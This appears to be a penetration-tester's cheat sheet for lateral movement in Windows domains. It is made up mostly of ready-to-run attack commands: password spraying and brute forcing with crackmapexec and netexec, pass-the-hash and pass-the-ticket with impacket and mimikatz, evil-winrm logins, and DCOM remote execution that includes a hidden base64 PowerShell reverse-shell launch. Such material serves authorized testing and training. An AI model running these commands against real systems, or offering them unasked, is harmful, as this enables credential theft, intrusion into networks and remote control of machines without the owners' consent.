Lateral Movement
https://wadcoms.github.io/#
Spraying with crackmapexec
Try using username as a password and brute force with rockyou.txt Also use --local-auth intead of -d <domain>
Usernames and passwords:
crackmapexec smb <IP/SUBNET> -u users.txt -p passwords.txt -d <domain>
crackmapexec winrm <IP/SUBNET> -u users.txt -p passwords.txt -d <domain>
crackmapexec rdp <IP/SUBNET> -u users.txt -p passwords.txt --continue-on-success --rdp-timeout 30
Hashes
crackmapexec smb <IP/SUBNET> -u users.txt -hashes <HASH> -d <domain>
crackmapexec winrm <IP/SUBNET> -u users.txt -hashes <HASH> -d <domain>
WMI / WinRM (PORT 5985 / 5986)
WMI
With WMI we can create process on the target machine.
If ReturnValue = 0 the process has been created successfully.
wmic /node:<IP> /user:<USER> /password:<PASSWORD> process call create "calc"
WinRM
Can be used as non administrator.
There is also WinRM powershell alternative: WinRS
In order to use evil-winrm you need username and password of the user.
Copy
evil-winrm -i <IP_ADDRESS> -u <USERNAME> -p <PASSWORD>
PsExec /wmiexec / smbexec (PORT 445)
User has to have Administrative rights. ADMIN$ share has to be present.
You can use psexec, smbexec if you have user credentials or NTLM hash. Any folder has to be writeable.
Credentials
Copy
impacket-psexec <domain>/<user>:<password>@<victim_ip>
Hash
Copy
impacket-psexec <domain>/<user>@<victim_ip> -hashes <LMHash:NTHash> # you can fill LMHash with 32 0
Pass the Hash
Port 445 has to be enabled.
Pass the Hash method works only for NTLMv1
If we crack a password and/or can dump the SAM hashes, we can leverege both for lateral movement in networks.
Pass the password
You can pass the credentials to netexec and scan the network:
netexec smb 10.10.10.10/24 -u user -p Password1 -d contoso.com --local-auth # change network, domain and credentials
Pass the hash
You can pass the NTLM hash to netexec and scan the network in the same way as above:
crackmapexec smb <3_OCTET_IP>.0/24 -u <USER> -H <HASH> --local-auth # change IP, mask, user, hash
Access the share:
smbclient \\\\<IP>\\<SHARE> -U <USER> --pw-nt-hash <HASH>
Code execution
impacket-wmiexec -hashes :<NTLM_HASH> <USER>@<IP>
Overpass the hash
Abuse an NTLM user hash to gain a full Kerberos TGT.
sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<NTLM_HASH> /run:powershell
Generate kerberos ticket:
net use \\<share>
List Kerberos tickets:
klist
Reuse the TGT:
.\PsExec.exe \\<SHARE> cmd
Pass the ticket
No administrative privileges required.
Takes advantage of TGS which can be re-enjected elsewhere on the network. Method of taking someone else TGS and using it for our own session.
Export all tickets from the memory using mimikatz:
sekurlsa::tickets /export
Verify tickets existence:
dir *.kirbi
Use the exported ticket:
kerberos::ptt <TICKET>
DCOM
Local Administrator access and PORT 135 is required.
Create DCOM instance:
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","<IP>"))
Execute shell command:
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
Execute reverse shell encoded in base64:
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e <BASE64_ENCODED_PAYLOAD>","7")
Last updated